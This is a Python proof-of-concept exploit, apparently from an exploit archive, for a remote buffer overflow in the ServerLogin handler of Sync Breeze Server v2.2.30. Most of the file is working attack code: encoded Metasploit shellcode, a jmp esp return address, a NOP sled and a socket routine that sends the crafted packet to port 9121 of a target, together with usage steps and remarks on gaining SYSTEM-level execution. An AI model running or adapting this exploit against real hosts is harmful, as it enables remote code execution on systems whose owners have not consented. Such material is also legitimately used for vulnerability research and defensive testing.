Sync Breeze Server 2.2.30 – Remote Buffer Overflow
#!/usr/bin/python # Exploit Title: Sync Breeze Server v2.2.30 Remote BOF Exploit # Date: 10/10/2010 # Author: Xsploited Security [aka xsploitedsec] # URL: http://www.x-sploited.com/ # Contact: xsploitedsecurity [at] x-sploited.com # Software Link: http://www.syncbreeze.com/setups/syncbreezesrv_setup_v2.2.30.exe # Version: v2.2.30 (Others are most likely effected as well) # Tested on: A Windows XP SP3 machine # CVE : N/A ### Vulnerability Information: ### # A vulnerability exists in the way Sync Breeze v2.2.30 processes its login requests after accepting a connection from a remote client. # If a packet with a length greater than 484 bytes is received with the command prefix "ServerLogin." the effected Service (syncbrs.exe) # will crash, from the result of a buffer overflow. An attacker can easily leverage this vulnerability and control execution flow / # execute arbitrary code. ### # This PoCs Usage: # 1. Verify that the service is running on the remote machine, the default port is 9121. # 2. Execute syncbreeze.py against the host # 3. Check remote machines process list for calc to verify successful command execution. (Running as SYSTEM, on my test machine at least..) ### # Other notes: # If the software is installed from an administrator account, shellcode will be executed at admin / (system) level. This could be a potential # privelage escilation attack vector (although I have not verified this yet) # I am sure a lot more can be done with this (fit more shellcode, universal etc.) I'll leave that up to researchers however. # Have fun! ### ### Shouts: # kAoTiX - Helping me verify this bug/exploit # MAX - Keeps me entertained, makes me giggle # CorelanCoder - Your tutorials are absolutely fking awesome # exploit-db, offensive-sec, packetstormsecurity and all security teams and sites! ### import sys,socket if len(sys.argv) != 2: print "[!] Usage: ./syncbreeze.py <Target IP>" sys.exit(1) about = "=================================================\n" about += "Title: Sync Breeze Server v2.2.30 Remote BOF PoC\n" about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n" about += "Contact: xsploitedsecurity [at] gmail.com\n" about += "=================================================\n" print about host = sys.argv[1] port = 9121 #default server port, unchangeable (I think) # windows/exec - 218 bytes / http://www.metasploit.com # Encoder: x86/fnstenv_mov / EXITFUNC=seh, CMD=calc calc = ("\x6a\x31\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97\x8c" "\x8a\x10\x83\xeb\xfc\xe2\xf4\x6b\x64\x03\x10\x97\x8c\xea\x99" "\x72\xbd\x58\x74\x1c\xde\xba\x9b\xc5\x80\x01\x42\x83\x07\xf8" "\x38\x98\x3b\xc0\x36\xa6\x73\xbb\xd0\x3b\xb0\xeb\x6c\x95\xa0" "\xaa\xd1\x58\x81\x8b\xd7\x75\x7c\xd8\x47\x1c\xde\x9a\x9b\xd5" "\xb0\x8b\xc0\x1c\xcc\xf2\x95\x57\xf8\xc0\x11\x47\xdc\x01\x58" "\x8f\x07\xd2\x30\x96\x5f\x69\x2c\xde\x07\xbe\x9b\x96\x5a\xbb" "\xef\xa6\x4c\x26\xd1\x58\x81\x8b\xd7\xaf\x6c\xff\xe4\x94\xf1" "\x72\x2b\xea\xa8\xff\xf2\xcf\x07\xd2\x34\x96\x5f\xec\x9b\x9b" "\xc7\x01\x48\x8b\x8d\x59\x9b\x93\x07\x8b\xc0\x1e\xc8\xae\x34" "\xcc\xd7\xeb\x49\xcd\xdd\x75\xf0\xcf\xd3\xd0\x9b\x85\x67\x0c" "\x4d\xfd\x8d\x07\x95\x2e\x8c\x8a\x10\xc7\xe4\xbb\x9b\xf8\x0b" "\x75\xc5\x2c\x72\x84\x22\x7d\xe4\x2c\x85\x2a\x11\x75\xc5\xab" "\x8a\xf6\x1a\x17\x77\x6a\x65\x92\x37\xcd\x03\xe5\xe3\xe0\x10" "\xc4\x73\x5f\x73\xf6\xe0\xe9\x10"); # Begin payload buffer: packet_header = ("\x53\x65\x72\x76\x65\x72\x4C\x6F\x67\x69\x6E\x02"); junk = "\x90" * 256; #265 byte junk buffer to reach eip eip = "\xFB\xF8\xAB\x71"; #jmp esp (via ws2_32.dll) nops = "\x90" * 12; #small nop sled # packet structure: # [header][junk][eip][nops][shellcode][nops][nops] packet = packet_header + junk + eip + nops + calc + nops + nops; print "[*] Connecting to " + host + "...\r" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) print "[*] Connected, Sending payload\r" s.send(packet + "\r\n") print "[*] Payload sent successfully" print "[*] Check the results\r" s.close() |